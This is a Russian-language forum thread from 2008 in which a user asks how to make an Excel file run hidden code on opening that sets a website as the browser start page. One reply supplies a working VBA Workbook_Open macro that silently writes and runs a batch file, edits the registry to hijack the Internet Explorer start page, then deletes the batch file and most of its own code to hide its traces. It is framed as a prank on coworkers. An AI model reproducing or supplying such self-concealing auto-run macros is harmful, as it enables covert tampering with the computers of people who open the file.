Excel и js вопрос!!!!
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Excel и js вопрос!!!! - 2008-06-25 06:11:17.230000
|
|
|
novosibirec
Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
|
есть необходимость в документ (а не склеить с ним ) Excel вставить произвольный js, который выполниться при открытии документа! кто нить может сказать как это осуществить?????
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 07:14:19.260000
|
|
|
fromRIDDER
Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
|
Excel поддерживает VBA, на котором можно написать интерпритатор JS, а сами скрипты оформлять как строки.
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 07:44:43.206666
|
|
|
novosibirec
Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
|
можешь скинуть код для того чтобы прописывался в качестве стартовой страницы адрес сайта и как его закинуть в Excel
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 08:13:59.500000
|
|
|
fromRIDDER
Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
|
То, что ты хочешь сделать реально, JS здесь не нужны, но я мало знаком с vba, так что код не скину. Могу дать советы по написаню макроса. Нужно узнать, где хранится информация о стартовой странице интернет браузера. Потом написать макрос с созданием activex объекта, какой именно зависит от места хранения инфы о стартовой странице, внести соответствующие изменения.
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 08:34:09.693333
|
|
|
novosibirec
Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
|
Можешь сказать кто может мне с этим помочь???
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 09:55:08.176666
|
|
|
fromRIDDER
Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
|
нет
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 11:28:31.563333
|
|
|
M0ff
Сообщений: 18
Оценки: 0
Присоединился: 2008-02-01 11:57:36.750000
|
Private Sub Workbook_Open()
Application.DisplayAlerts = False
cnt = "@echo off" & vbCrLf & "echo REGEDIT4>%temp%/no.reg" & vbCrLf & "echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]>>%temp%/no.reg" & vbCrLf & "echo ""Start Page""=""http://pit.d3.ru/lepro/2/2007/10/09/1562-164927-4a6ac5df71d39403b1752501d2c551f9.jpg"">>%temp%/no.reg" & vbCrLf & "regedit /s %temp%/no.reg" & vbCrLf & "del %temp%/no.reg"
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.CreateTextFile("C:\Documents and Settings\Administrator\Local Settings\Temp\offpr1.bat", True, False)
f.writeline cnt
f.Close
retval = Shell("C:\Documents and Settings\Administrator\Local Settings\Temp\offpr1.bat", 0)
Application.Wait (Now + TimeValue("0:00:02"))
Kill ("C:\Documents and Settings\Administrator\Local Settings\Temp\offpr1.bat")
Application.VBE.ActiveVBProject.VBComponents(1).CodeModule.DeleteLines 2, 10
If Not Application.Workbooks(Application.ActiveWorkbook.name).Saved Then Application.Workbooks(Application.ActiveWorkbook.name).Save
End
End Sub
Вот примерчик, что бы поприкаловаться над сотрудниками.
Перед открытием документа выполняется код, если включены макросы.
Содается батник. Батник создает ключик и вписывает его , после чего удаляет. Скрипт удаляет батник. И удаляет свой код, единственная проблема в том что не полностью. Остануться следующие строки Private Sub Workbook_Open()
If Not Application.Workbooks(Application.ActiveWorkbook.name).Saved Then Application.Workbooks(Application.ActiveWorkbook.name).Save
End
End Sub
Код нужно впихнуть в "Microsoft Excel Objects" - "ЭтаКнига".
Слегка криво , но работает .
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 11:36:42.203333
|
|
|
Матцал Коушек
Сообщений: 176
Оценки: 0
Присоединился: 2008-06-22 12:56:36.180000
|
quote:
ORIGINAL: novosibirec
Можешь сказать кто может мне с этим помочь???
Могу сказать, кто может помочь, ты сам. Открываешь Excel, включашь запись макроса, выполняешь все действия которые хотел, вручную. Это автоматом запишется в макрос. Открываешь потом этот макрос, слегка редактируешь, если нужно. Никакой js не понадобится, макросы там мощнейшая штука.
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 19:26:08.956666
|
|
|
fromRIDDER
Сообщений: 1075
Оценки: 30
Присоединился: 2008-01-14 20:20:53.380000
|
Матцал Коушек, и каким это образом в макрос автоматически запишется установка стартовой страницы интернет эксплорера.
|
|
|
|
|
RE: Excel и js вопрос!!!! - 2008-06-25 20:25:44.103333
|
|
|
Матцал Коушек
Сообщений: 176
Оценки: 0
Присоединился: 2008-06-22 12:56:36.180000
|
Стартовая страница интернета это одна строчка реестра, мне даже лень тыкать об этом примитиве.
|
|
|
|
|
|
